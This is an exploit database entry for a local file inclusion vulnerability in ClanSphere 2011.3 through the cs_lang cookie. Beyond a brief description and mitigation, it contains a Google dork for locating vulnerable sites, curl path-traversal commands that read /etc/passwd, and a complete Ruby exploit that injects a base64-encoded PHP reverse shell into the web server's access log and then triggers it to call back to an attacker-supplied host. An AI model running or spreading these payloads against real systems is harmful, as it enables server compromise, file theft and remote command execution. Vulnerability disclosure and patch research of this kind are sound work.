ClanSphere 2011.3 (cs_lang cookie parameter) Local File Include Vulnerability

vendor:

ClanSphere

by:

Marco Tulio ~> blkhtc0rp

7,5

CVSS

HIGH

Local File Include Vulnerability

CWE

Product Name: ClanSphere

Affected Version From: 2011.3

Affected Version To: 2011.3

Patch Exists: YES

Related CWE: N/A

CPE: a:clansphere:clansphere:2011.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Centos 5.7, Ubuntu 8.04 and FreeBSD 8

2012

ClanSphere 2011.3 (cs_lang cookie parameter) Local File Include Vulnerability

ClanSphere 2011.3 is vulnerable to a Local File Include vulnerability due to improper validation of the cs_lang cookie parameter. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with a malicious cs_lang cookie parameter. This can allow an attacker to read arbitrary files on the server, such as the /etc/passwd file.

Mitigation:

Ensure that user input is properly validated and sanitized before being used in a file path.

Source

Exploit-DB raw data:

Exploit Title: ClanSphere 2011.3 (cs_lang cookie parameter) Local File Include Vulnerability
Google Dork: "Copyright 2012 Seitentitel. All rights reserved." || inurl:index.php?mod=clansphere
Date: 10/22/2012
Author: Marco Tulio ~> blkhtc0rp
Vendor Homepage: http://www.csphere.eu
Version: 2011.3
Tested on: Centos 5.7, Ubuntu 8.04 and FreeBSD 8


Poc:
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd%00.png"
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd"
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd%00"


Exploit:

#!/usr/bin/ruby

#
# ClanSphere 2011.3 (cs_lang) LFI exploit by blkhtc0rp
#
#
# ./clanSphere.rb "http://server/apps/clansphere_2011.3/" "/var/log/httpd/access_log" 192.168.1.221 12345
# [x] ClanSphere 2011.3 LFI Exploit
# [x] Author: blkhtc0rp
# [x] Reverse shell on 192.168.1.221:12345
#
#
# nc -lp 12345
# pwd
# /var/www/html/apps/clansphere_2011.3
# id
# uid=48(apache) gid=48(apache) groups=48(apache)
#
require 'net/http'
require 'base64'

host = ARGV[0]
log = ARGV[1]
ip = ARGV[2]
rev_port = ARGV[3]

abort("Usage: #{$0} <url> <log> <your_ip> <port>") unless ARGV.size == 4

uri = URI.parse(host)

cookie = "blah=blah; cs_lang=../../../../../../../../../../../../../../../.." + log + "%00.png"
headers = { 'Cookie' => cookie, 
            'User-Agent' => 'Mozilla/4.0 (PSP (PlayStation Portable); 5.03)' 
          }

# Tiny shell from the net lol.
shell = "\$ip = \'#{ip}\';\$port = #{rev_port}; if (!(\$sock=fsockopen(\$ip,\$port))) die; while(!feof(\$sock)){ \$command = fgets(\$sock);\$pipe = popen(\$command,'r'); while (!feof(\$pipe)) fwrite (\$sock, fgets(\$pipe)); pclose(\$pipe);}fclose(\$sock);"

enc = Base64.encode64(shell).gsub("\n",'')
sh_encoded = "<?php eval(base64_decode(#{enc}));?>"


puts "[x] ClanSphere 2011.3 LFI Exploit"
puts "[x] Author: blkhtc0rp"
puts "[x] Reverse shell on #{ip}:#{rev_port}"

# Inject base64 shell
req = Net::HTTP::Get.new(sh_encoded)
status = Net::HTTP.new(uri.host, uri.port).start do |http|
   http.request(req)
end

# Exec shell
req2 = Net::HTTP::Get.new(uri.path, headers)
status = Net::HTTP.new(uri.host, uri.port).start do |http|
   http.request(req2)
end